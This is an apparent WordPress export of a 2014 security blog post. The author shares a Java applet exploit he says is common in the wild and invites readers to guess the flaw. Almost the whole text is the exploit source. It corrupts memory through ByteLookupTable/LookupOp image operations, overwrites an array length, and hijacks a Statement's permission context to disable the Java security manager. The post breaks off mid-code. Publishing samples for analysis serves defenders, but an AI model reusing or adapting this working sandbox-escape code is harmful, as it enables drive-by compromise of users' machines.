{"id":695,"date":"2014-01-21T18:43:35","date_gmt":"2014-01-21T18:43:35","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=695"},"modified":"2014-03-18T00:12:04","modified_gmt":"2014-03-18T00:12:04","slug":"damn-you-sun-oracle-java","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2014\/01\/damn-you-sun-oracle-java\/","title":{"rendered":"Damn you Sun \/ Oracle \/ Java"},"content":{"rendered":"<p>Howdy all!<\/p>\n<p>What exploit code do you think I run into on a daily basis? Java! Every day, its the same 2 exploits. I&#8217;ve stated this before, but today I&#8217;m going to post the code. Most of the time, malware distributors are smarter and obfuscate their exploit code as much as possible as to avoid heuristics and auto detection. Then once in a while some dumbass won&#8217;t and our AV&#8217;s will pack it up on the spot. This is one of those cases. Can you guess what&#8217;s being exploited here?<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.applet.Applet<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.awt.image.BufferedImage<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.awt.image.ByteLookupTable<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.awt.image.DataBufferByte<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.awt.image.Kernel<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.awt.image.LookupOp<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.awt.image.Raster<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.awt.image.WritableRaster<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.beans.Statement<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.io.FileOutputStream<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.io.PrintStream<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.net.URL<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.nio.channels.Channels<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.nio.channels.FileChannel<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.nio.channels.ReadableByteChannel<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.security.AccessControlContext<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.security.AllPermission<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.security.CodeSource<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.security.Permissions<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.security.ProtectionDomain<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.security.cert.Certificate<\/span><span style=\"color: #333333\">;<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">import<\/span> <span style=\"color: #0e84b5; font-weight: bold\">java.util.Random<\/span><span style=\"color: #333333\">;<\/span>\r\n\r\n<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">class<\/span> <span style=\"color: #BB0066; font-weight: bold\">TestByteBI<\/span> <span style=\"color: #008800; font-weight: bold\">extends<\/span> Applet\r\n<span style=\"color: #333333\">{<\/span>\r\n  <span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span> numArrays_ <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">10<\/span><span style=\"color: #333333\">;<\/span>\r\n  <span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">final<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span> arrayLength <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">11<\/span><span style=\"color: #333333\">;<\/span>\r\n  <span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span><span style=\"color: #333333\">[][]<\/span> Arrays_<span style=\"color: #333333\">;<\/span>\r\n\r\n  <span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #333399; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">init<\/span><span style=\"color: #333333\">()<\/span>\r\n  <span style=\"color: #333333\">{<\/span>\r\n    go<span style=\"color: #333333\">();<\/span>\r\n  <span style=\"color: #333333\">}<\/span>\r\n\r\n  <span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #333399; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">go<\/span><span style=\"color: #333333\">()<\/span>\r\n  <span style=\"color: #333333\">{<\/span>\r\n    <span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n    <span style=\"color: #333333\">{<\/span>\r\n      String name <span style=\"color: #333333\">=<\/span> <span style=\"background-color: #fff0f0\">&quot;setSecurityManager&quot;<\/span><span style=\"color: #333333\">;<\/span>\r\n      Object<span style=\"color: #333333\">[]<\/span> o1 <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> Object<span style=\"color: #333333\">[<\/span><span style=\"color: #0000DD; font-weight: bold\">1<\/span><span style=\"color: #333333\">];<\/span>\r\n      Object o2 <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> Statement<span style=\"color: #333333\">(<\/span>System<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">class<\/span><span style=\"color: #333333\">,<\/span> name<span style=\"color: #333333\">,<\/span> o1<span style=\"color: #333333\">);<\/span>\r\n\r\n      <span style=\"color: #008800; font-weight: bold\">this<\/span><span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">Arrays_<\/span> <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span><span style=\"color: #333333\">[<\/span><span style=\"color: #008800; font-weight: bold\">this<\/span><span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">numArrays_<\/span><span style=\"color: #333333\">][];<\/span>\r\n\r\n      Kernel kernel <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> Kernel<span style=\"color: #333333\">(<\/span><span style=\"color: #0000DD; font-weight: bold\">1<\/span><span style=\"color: #333333\">,<\/span> <span style=\"color: #0000DD; font-weight: bold\">1<\/span><span style=\"color: #333333\">,<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">float<\/span><span style=\"color: #333333\">[]<\/span> <span style=\"color: #333333\">{<\/span> <span style=\"color: #6600EE; font-weight: bold\">1.0<\/span>F<span style=\"color: #333333\">,<\/span> <span style=\"color: #6600EE; font-weight: bold\">1.0<\/span>F<span style=\"color: #333333\">,<\/span> <span style=\"color: #6600EE; font-weight: bold\">1.0<\/span>F<span style=\"color: #333333\">,<\/span> <span style=\"color: #6600EE; font-weight: bold\">1.0<\/span>F <span style=\"color: #333333\">});<\/span>\r\n      <span style=\"color: #333399; font-weight: bold\">byte<\/span><span style=\"color: #333333\">[][]<\/span> data <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span><span style=\"color: #333333\">[<\/span><span style=\"color: #0000DD; font-weight: bold\">1<\/span><span style=\"color: #333333\">][<\/span><span style=\"color: #0000DD; font-weight: bold\">2000<\/span><span style=\"color: #333333\">];<\/span>\r\n      <span style=\"color: #008800; font-weight: bold\">for<\/span> <span style=\"color: #333333\">(<\/span><span style=\"color: #333399; font-weight: bold\">int<\/span> i <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">0<\/span><span style=\"color: #333333\">;<\/span> i <span style=\"color: #333333\">&lt;<\/span> data<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">length<\/span><span style=\"color: #333333\">;<\/span> i<span style=\"color: #333333\">++)<\/span> <span style=\"color: #333333\">{<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">for<\/span> <span style=\"color: #333333\">(<\/span><span style=\"color: #333399; font-weight: bold\">int<\/span> j <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">0<\/span><span style=\"color: #333333\">;<\/span> j <span style=\"color: #333333\">&lt;<\/span> data<span style=\"color: #333333\">[<\/span>i<span style=\"color: #333333\">].<\/span><span style=\"color: #0000CC\">length<\/span><span style=\"color: #333333\">;<\/span> j<span style=\"color: #333333\">++)<\/span> <span style=\"color: #333333\">{<\/span>\r\n          data<span style=\"color: #333333\">[<\/span>i<span style=\"color: #333333\">][<\/span>j<span style=\"color: #333333\">]<\/span> <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">65<\/span><span style=\"color: #333333\">;<\/span>\r\n        <span style=\"color: #333333\">}<\/span>\r\n      <span style=\"color: #333333\">}<\/span>\r\n      ByteLookupTable lookupTable <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> ByteLookupTable<span style=\"color: #333333\">(<\/span><span style=\"color: #0000DD; font-weight: bold\">0<\/span><span style=\"color: #333333\">,<\/span> data<span style=\"color: #333333\">);<\/span>\r\n\r\n      LookupOp op <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> LookupOp<span style=\"color: #333333\">(<\/span>lookupTable<span style=\"color: #333333\">,<\/span> <span style=\"color: #008800; font-weight: bold\">null<\/span><span style=\"color: #333333\">);<\/span>\r\n\r\n      <span style=\"color: #333399; font-weight: bold\">int<\/span> srcW <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">20<\/span><span style=\"color: #333333\">;<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span> srcH <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">20<\/span><span style=\"color: #333333\">;<\/span>\r\n      <span style=\"color: #333399; font-weight: bold\">int<\/span> dstW <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">7<\/span><span style=\"color: #333333\">;<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span> dstH <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">7<\/span><span style=\"color: #333333\">;<\/span>\r\n\r\n      BufferedImage src <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> TestByteBI<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">MyBufferedImage<\/span><span style=\"color: #333333\">(<\/span>srcW<span style=\"color: #333333\">,<\/span> srcH<span style=\"color: #333333\">,<\/span> dstW<span style=\"color: #333333\">,<\/span> dstH<span style=\"color: #333333\">,<\/span> <span style=\"color: #0000DD; font-weight: bold\">11<\/span><span style=\"color: #333333\">);<\/span>\r\n\r\n      BufferedImage tmp <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> BufferedImage<span style=\"color: #333333\">(<\/span>dstW<span style=\"color: #333333\">,<\/span> dstH<span style=\"color: #333333\">,<\/span> <span style=\"color: #0000DD; font-weight: bold\">10<\/span><span style=\"color: #333333\">);<\/span>\r\n\r\n      DataBufferByte dstBuffer <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> DataBufferByte<span style=\"color: #333333\">(<\/span>dstW <span style=\"color: #333333\">*<\/span> dstH<span style=\"color: #333333\">);<\/span>\r\n\r\n      <span style=\"color: #008800; font-weight: bold\">for<\/span> <span style=\"color: #333333\">(<\/span><span style=\"color: #333399; font-weight: bold\">int<\/span> i <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">0<\/span><span style=\"color: #333333\">;<\/span> i <span style=\"color: #333333\">&lt;<\/span> <span style=\"color: #008800; font-weight: bold\">this<\/span><span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">numArrays_<\/span><span style=\"color: #333333\">;<\/span> i<span style=\"color: #333333\">++)<\/span> <span style=\"color: #333333\">{<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">this<\/span><span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">Arrays_<\/span><span style=\"color: #333333\">[<\/span>i<span style=\"color: #333333\">]<\/span> <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span><span style=\"color: #333333\">[<\/span><span style=\"color: #0000DD; font-weight: bold\">11<\/span><span style=\"color: #333333\">];<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">for<\/span> <span style=\"color: #333333\">(<\/span><span style=\"color: #333399; font-weight: bold\">int<\/span> j <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">0<\/span><span style=\"color: #333333\">;<\/span> j <span style=\"color: #333333\">&lt;<\/span> <span style=\"color: #0000DD; font-weight: bold\">11<\/span><span style=\"color: #333333\">;<\/span> j<span style=\"color: #333333\">++)<\/span> <span style=\"color: #333333\">{<\/span>\r\n          <span style=\"color: #008800; font-weight: bold\">this<\/span><span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">Arrays_<\/span><span style=\"color: #333333\">[<\/span>i<span style=\"color: #333333\">][<\/span>j<span style=\"color: #333333\">]<\/span> <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">1768650105<\/span><span style=\"color: #333333\">;<\/span>\r\n        <span style=\"color: #333333\">}<\/span>\r\n      <span style=\"color: #333333\">}<\/span>\r\n\r\n      WritableRaster raster <span style=\"color: #333333\">=<\/span> Raster<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">createWritableRaster<\/span><span style=\"color: #333333\">(<\/span>tmp<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">getSampleModel<\/span><span style=\"color: #333333\">(),<\/span> dstBuffer<span style=\"color: #333333\">,<\/span> <span style=\"color: #008800; font-weight: bold\">null<\/span><span style=\"color: #333333\">);<\/span>\r\n\r\n      BufferedImage dst <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> BufferedImage<span style=\"color: #333333\">(<\/span>tmp<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">getColorModel<\/span><span style=\"color: #333333\">(),<\/span> raster<span style=\"color: #333333\">,<\/span> <span style=\"color: #008800; font-weight: bold\">false<\/span><span style=\"color: #333333\">,<\/span> <span style=\"color: #008800; font-weight: bold\">null<\/span><span style=\"color: #333333\">);<\/span>\r\n\r\n      Object<span style=\"color: #333333\">[]<\/span> oo <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> Object<span style=\"color: #333333\">[<\/span><span style=\"color: #0000DD; font-weight: bold\">7<\/span><span style=\"color: #333333\">];<\/span>\r\n\r\n      oo<span style=\"color: #333333\">[<\/span><span style=\"color: #0000DD; font-weight: bold\">2<\/span><span style=\"color: #333333\">]<\/span> <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> Statement<span style=\"color: #333333\">(<\/span>System<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">class<\/span><span style=\"color: #333333\">,<\/span> name<span style=\"color: #333333\">,<\/span> o1<span style=\"color: #333333\">);<\/span>\r\n\r\n      Permissions ps <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> Permissions<span style=\"color: #333333\">();<\/span>\r\n      ps<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">add<\/span><span style=\"color: #333333\">(<\/span><span style=\"color: #008800; font-weight: bold\">new<\/span> AllPermission<span style=\"color: #333333\">());<\/span>\r\n\r\n      oo<span style=\"color: #333333\">[<\/span><span style=\"color: #0000DD; font-weight: bold\">3<\/span><span style=\"color: #333333\">]<\/span> <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> AccessControlContext<span style=\"color: #333333\">(<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">new<\/span> ProtectionDomain<span style=\"color: #333333\">[]<\/span> <span style=\"color: #333333\">{<\/span> \r\n        <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #0066BB; font-weight: bold\">ProtectionDomain<\/span><span style=\"color: #333333\">(<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #0066BB; font-weight: bold\">CodeSource<\/span><span style=\"color: #333333\">(<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #0066BB; font-weight: bold\">URL<\/span><span style=\"color: #333333\">(<\/span><span style=\"background-color: #fff0f0\">&quot;file:\/\/\/&quot;<\/span><span style=\"color: #333333\">),<\/span> \r\n        <span style=\"color: #008800; font-weight: bold\">new<\/span> Certificate<span style=\"color: #333333\">[<\/span><span style=\"color: #0000DD; font-weight: bold\">0<\/span><span style=\"color: #333333\">]),<\/span> \r\n        ps<span style=\"color: #333333\">)<\/span> <span style=\"color: #333333\">});<\/span>\r\n\r\n      oo<span style=\"color: #333333\">[<\/span><span style=\"color: #0000DD; font-weight: bold\">4<\/span><span style=\"color: #333333\">]<\/span> <span style=\"color: #333333\">=<\/span> <span style=\"color: #333333\">((<\/span>Statement<span style=\"color: #333333\">)<\/span>oo<span style=\"color: #333333\">[<\/span><span style=\"color: #0000DD; font-weight: bold\">2<\/span><span style=\"color: #333333\">]).<\/span><span style=\"color: #0000CC\">getTarget<\/span><span style=\"color: #333333\">();<\/span>\r\n\r\n      op<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">filter<\/span><span style=\"color: #333333\">(<\/span>src<span style=\"color: #333333\">,<\/span> dst<span style=\"color: #333333\">);<\/span>\r\n\r\n      <span style=\"color: #333399; font-weight: bold\">int<\/span><span style=\"color: #333333\">[]<\/span> a <span style=\"color: #333333\">=<\/span> <span style=\"color: #333333\">(<\/span><span style=\"color: #333399; font-weight: bold\">int<\/span><span style=\"color: #333333\">[])<\/span><span style=\"color: #008800; font-weight: bold\">null<\/span><span style=\"color: #333333\">;<\/span>\r\n\r\n      <span style=\"color: #008800; font-weight: bold\">for<\/span> <span style=\"color: #333333\">(<\/span><span style=\"color: #333399; font-weight: bold\">int<\/span> i <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">0<\/span><span style=\"color: #333333\">;<\/span> i <span style=\"color: #333333\">&lt;<\/span> <span style=\"color: #008800; font-weight: bold\">this<\/span><span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">numArrays_<\/span><span style=\"color: #333333\">;<\/span> i<span style=\"color: #333333\">++)<\/span> <span style=\"color: #333333\">{<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">if<\/span> <span style=\"color: #333333\">((<\/span><span style=\"color: #008800; font-weight: bold\">this<\/span><span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">Arrays_<\/span><span style=\"color: #333333\">[<\/span>i<span style=\"color: #333333\">]<\/span> <span style=\"color: #333333\">!=<\/span> <span style=\"color: #008800; font-weight: bold\">null<\/span><span style=\"color: #333333\">)<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> <span style=\"color: #333333\">(<\/span><span style=\"color: #008800; font-weight: bold\">this<\/span><span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">Arrays_<\/span><span style=\"color: #333333\">[<\/span>i<span style=\"color: #333333\">].<\/span><span style=\"color: #0000CC\">length<\/span> <span style=\"color: #333333\">&gt;<\/span> <span style=\"color: #0000DD; font-weight: bold\">11<\/span><span style=\"color: #333333\">))<\/span> <span style=\"color: #333333\">{<\/span>\r\n          a <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">this<\/span><span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">Arrays_<\/span><span style=\"color: #333333\">[<\/span>i<span style=\"color: #333333\">];<\/span>\r\n          <span style=\"color: #008800; font-weight: bold\">break<\/span><span style=\"color: #333333\">;<\/span>\r\n        <span style=\"color: #333333\">}<\/span>\r\n      <span style=\"color: #333333\">}<\/span>\r\n\r\n      <span style=\"color: #008800; font-weight: bold\">if<\/span> <span style=\"color: #333333\">(<\/span>a <span style=\"color: #333333\">==<\/span> <span style=\"color: #008800; font-weight: bold\">null<\/span><span style=\"color: #333333\">)<\/span> <span style=\"color: #333333\">{<\/span>\r\n        System<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">out<\/span><span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">println<\/span><span style=\"color: #333333\">(<\/span><span style=\"background-color: #fff0f0\">&quot;Failed to overwrite array length!&quot;<\/span><span style=\"color: #333333\">);<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">return<\/span><span style=\"color: #333333\">;<\/span>\r\n      <span style=\"color: #333333\">}<\/span>\r\n\r\n      <span style=\"color: #333399; font-weight: bold\">boolean<\/span> found <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">false<\/span><span style=\"color: #333333\">;<\/span>\r\n      <span style=\"color: #333399; font-weight: bold\">int<\/span> ooLen <span style=\"color: #333333\">=<\/span> oo<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">length<\/span><span style=\"color: #333333\">;<\/span>\r\n      <span style=\"color: #008800; font-weight: bold\">for<\/span> <span style=\"color: #333333\">(<\/span><span style=\"color: #333399; font-weight: bold\">int<\/span> i <span style=\"color: #333333\">=<\/span> <span style=\"color: #0000DD; font-weight: bold\">13<\/span><span style=\"color: #333333\">;<\/span> i <span style=\"color: #333333\">&lt;<\/span> a<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">length<\/span><span style=\"color: #333333\">;<\/span> i<span style=\"color: #333333\">++)<\/span> <span style=\"color: #333333\">{<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">if<\/span> <span style=\"color: #333333\">((<\/span>a<span style=\"color: #333333\">[(<\/span>i <span style=\"color: #333333\">-<\/span> <span style=\"color: #0000DD; font-weight: bold\">1<\/span><span style=\"color: #333333\">)]<\/span> <span style=\"color: #333333\">==<\/span> ooLen<span style=\"color: #333333\">)<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> <span style=\"color: #333333\">(<\/span>a<span style=\"color: #333333\">[<\/span>i<span style=\"color: #333333\">]<\/span> <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">0<\/span><span style=\"color: #333333\">)<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> <span style=\"color: #333333\">(<\/span>a<span style=\"color: #333333\">[(<\/span>i <span style=\"color: #333333\">+<\/span> <span style=\"color: #0000DD; font-weight: bold\">1<\/span><span style=\"color: #333333\">)]<\/span> <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">0<\/span><span style=\"color: #333333\">)<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> \r\n          <span style=\"color: #333333\">(<\/span>a<span style=\"color: #333333\">[(<\/span>i <span style=\"color: #333333\">+<\/span> <span style=\"color: #0000DD; font-weight: bold\">2<\/span><span style=\"color: #333333\">)]<\/span> <span style=\"color: #333333\">!=<\/span> <span style=\"color: #0000DD; font-weight: bold\">0<\/span><span style=\"color: #333333\">)<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> <span style=\"color: #333333\">(<\/span>a<span style=\"color: #333333\">[(<\/span>i <span style=\"color: #333333\">+<\/span> <span style=\"color: #0000DD; font-weight: bold\">3<\/span><span style=\"color: #333333\">)]<\/span> <span style=\"color: #333333\">!=<\/span> <span style=\"color: #0000DD; font-weight: bold\">0<\/span><span style=\"color: #333333\">)<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> <span style=\"color: #333333\">(<\/span>a<span style=\"color: #333333\">[(<\/span>i <span style=\"color: #333333\">+<\/span> <span style=\"color: #0000DD; font-weight: bold\">4<\/span><span style=\"color: #333333\">)]<\/span> <span style=\"color: #333333\">!=<\/span> <span style=\"color: #0000DD; font-weight: bold\">0<\/span><span style=\"color: #333333\">)<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> \r\n          <span style=\"color: #333333\">(<\/span>a<span style=\"color: #333333\">[(<\/span>i <span style=\"color: #333333\">+<\/span> <span style=\"color: #0000DD; font-weight: bold\">5<\/span><span style=\"color: #333333\">)]<\/span> <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">0<\/span><span style=\"color: #333333\">)<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> <span style=\"color: #333333\">(<\/span>a<span style=\"color: #333333\">[(<\/span>i <span style=\"color: #333333\">+<\/span> <span style=\"color: #0000DD; font-weight: bold\">6<\/span><span style=\"color: #333333\">)]<\/span> <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">0<\/span><span style=\"color: #333333\">))<\/span>\r\n        <span style=\"color: #333333\">{<\/span>\r\n          <span style=\"color: #333399; font-weight: bold\">int<\/span> stmTrg <span style=\"color: #333333\">=<\/span> a<span style=\"color: #333333\">[(<\/span>i <span style=\"color: #333333\">+<\/span> <span style=\"color: #0000DD; font-weight: bold\">4<\/span><span style=\"color: #333333\">)];<\/span>\r\n\r\n          <span style=\"color: #008800; font-weight: bold\">for<\/span> <span style=\"color: #333333\">(<\/span><span style=\"color: #333399; font-weight: bold\">int<\/span> j <span style=\"color: #333333\">=<\/span> i <span style=\"color: #333333\">+<\/span> <span style=\"color: #0000DD; font-weight: bold\">7<\/span><span style=\"color: #333333\">;<\/span> j <span style=\"color: #333333\">&lt;<\/span> i <span style=\"color: #333333\">+<\/span> <span style=\"color: #0000DD; font-weight: bold\">7<\/span> <span style=\"color: #333333\">+<\/span> <span style=\"color: #0000DD; font-weight: bold\">64<\/span><span style=\"color: #333333\">;<\/span> j<span style=\"color: #333333\">++)<\/span> <span style=\"color: #333333\">{<\/span>\r\n            <span style=\"color: #008800; font-weight: bold\">if<\/span> <span style=\"color: #333333\">(<\/span>a<span style=\"color: #333333\">[<\/span>j<span style=\"color: #333333\">]<\/span> <span style=\"color: #333333\">==<\/span> stmTrg<span style=\"color: #333333\">)<\/span>\r\n            <span style=\"color: #333333\">{<\/span>\r\n              a<span style=\"color: #333333\">[(<\/span>j <span style=\"color: #333333\">-<\/span> <span style=\"color: #0000DD; font-weight: bold\">1<\/span><span style=\"color: #333333\">)]<\/span> <span style=\"color: #333333\">=<\/span> a<span style=\"color: #333333\">[(<\/span>i <span style=\"color: #333333\">+<\/span> <span style=\"color: #0000DD; font-weight: bold\">3<\/span><span style=\"color: #333333\">)];<\/span>\r\n              found <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">true<\/span><span style=\"color: #333333\">;<\/span>\r\n              <span style=\"color: #008800; font-weight: bold\">break<\/span><span style=\"color: #333333\">;<\/span>\r\n            <span style=\"color: #333333\">}<\/span>\r\n          <span style=\"color: #333333\">}<\/span>\r\n          <span style=\"color: #008800; font-weight: bold\">if<\/span> <span style=\"color: #333333\">(<\/span>found<span style=\"color: #333333\">)<\/span>\r\n            <span style=\"color: #008800; font-weight: bold\">break<\/span><span style=\"color: #333333\">;<\/span>\r\n        <span style=\"color: #333333\">}<\/span>\r\n      <span style=\"color: #333333\">}<\/span>\r\n      <span style=\"color: #008800; font-weight: bold\">if<\/span> <span style=\"color: #333333\">(<\/span>found<span style=\"color: #333333\">)<\/span>\r\n      <span style=\"color: #333333\">{<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n        <span style=\"color: #333333\">{<\/span>\r\n          <span style=\"color: #333333\">((<\/span>Statement<span style=\"color: #333333\">)<\/span>oo<span style=\"color: #333333\">[<\/span><span 